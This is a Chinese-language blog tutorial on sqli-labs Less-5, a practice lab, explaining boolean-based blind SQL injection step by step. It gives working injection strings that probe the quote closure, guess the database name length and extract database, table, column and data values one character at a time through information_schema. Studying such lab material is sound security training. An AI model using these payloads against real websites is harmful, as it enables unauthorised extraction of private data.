sqli-labs之Less-5讲解(布尔类型注入-单引号)

前言:
先来说一下什么是布尔类型注入,即你构造的SQL语句执行完毕之后只会返回给你真或者假,反馈到网页上的也就是只会返回给你是否存在。
1.正常执行

index.php?id=1

这条语句是完全没毛病的可以正常执行,所以页面返回的结果是如下
sqli-labs之Less-5讲解(布尔类型注入)

2.尝试报错

index.php?id=1'

返回提示:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

说明我们的分号是被带入到了SQL查询中的,所以报错了,那么只需要闭合即可

index.php?id=1' --+

执行这条闭合完美执行成功,返回You are in....我们接下来的任务就是继续将SQL语句插入进去,但是注意这可是布尔注入,只会返回给你真假,所以有很多地方需要注意,下面继续讲解。
3.主要函数
这些都是布尔注入需要使用到的函数,下面都会用到并讲解的。

length()    #返回字符串的长度
substr()    #截取字符串
substr(a,b,c)作用将字符串a从第b位开始取c位数出来
ascii()     #返回字符的ascii码
sleep(n)     #将程序挂起休眠n秒
if(exp1,exp2,exp3)   #判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个。

4.判断当前数据库名长度
第一次构造:

index.php?id=1' and length(database())>1--+

执行成功,布尔注入只能靠不断变换后面的数字来进行猜测数据库名长度。以当前数据库security数据库长度为例,如果出现大于7,但是不大于8,那么肯定就是当前数据库名长度等于8了,此时就可以使用如下语句进行判断

index.php?id=1' and length(database())=8--+

如果返回为真,那么则说明数据库长度肯定是8位了。

5.猜测数据库名
猜测数据库名的时候需要一个一个地猜,我先用手工的演示,等下文章最后面会放上python脚本。

index.php?id=1' and ascii(substr(database(),1,1))>65--+

这里我查询的是查询数据库名的第一位(即上面语句的第一个1的作用,substr查询不是从0开始的,就是从1开始的,第二个1的作用是只取一位,这个不用变)是否大于ascii码表的A,以此来判断数据库的第一位是哪个
如果我想查询第二个则是如下语句;

index.php?id=1' and ascii(substr(database(),2,1))>65--+

就这样不断尝试吧,因为我们刚才已经获取到了数据库名的长度,所以继续慢慢猜吧。

6.猜测表名

index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >65 --+

这句的意思呢也就是通过limit限制只查询当前数据库的第0张表,然后substr函数的第一个1来限制第一个字符。结合起来就是猜测第一张表的第一个字符的ascii码是否大于65(即字母A)。加入存在多张表,可以通过变换limit的第一个参数0换为1来更换表继续查询。

7.猜测字段

index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),1,1)) >65 --+

假设我们得到了一张表名为:password,那么我们还是跟上面一样,通过limit限制为第一个字段,然后substr函数来将从第一位取出一个来与ascii码表上的65(字母A)进行比较

index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),2,1)) >65 --+

上面这一条呢就是将第0个字段的名字的第二个字符取出与ascii码表的64(字母A)进行比较

8.猜测数据

index.php?id=1' and ascii(substr((select keykey from  id limit 0,1),1,1)) >65 --+

意思与上面的一样,假设我们得到了一个字段:id
继续通过limit限制为数据的第一个字符,然后用substr函数来将从第一位取出一个来与ascii码表上的65(字母A)进行比较

9.恭喜你看到这里了,这种布尔类型的几乎没有人真的去完全猜测,都是拿脚本跑的,附上我的小脚本吧,此题适用,一般来说,这种布尔类型的直接修改payload都可以通用啦。
Github:SQL注入_布尔注入脚本

发表评论

电子邮件地址不会被公开。必填项已用 * 标注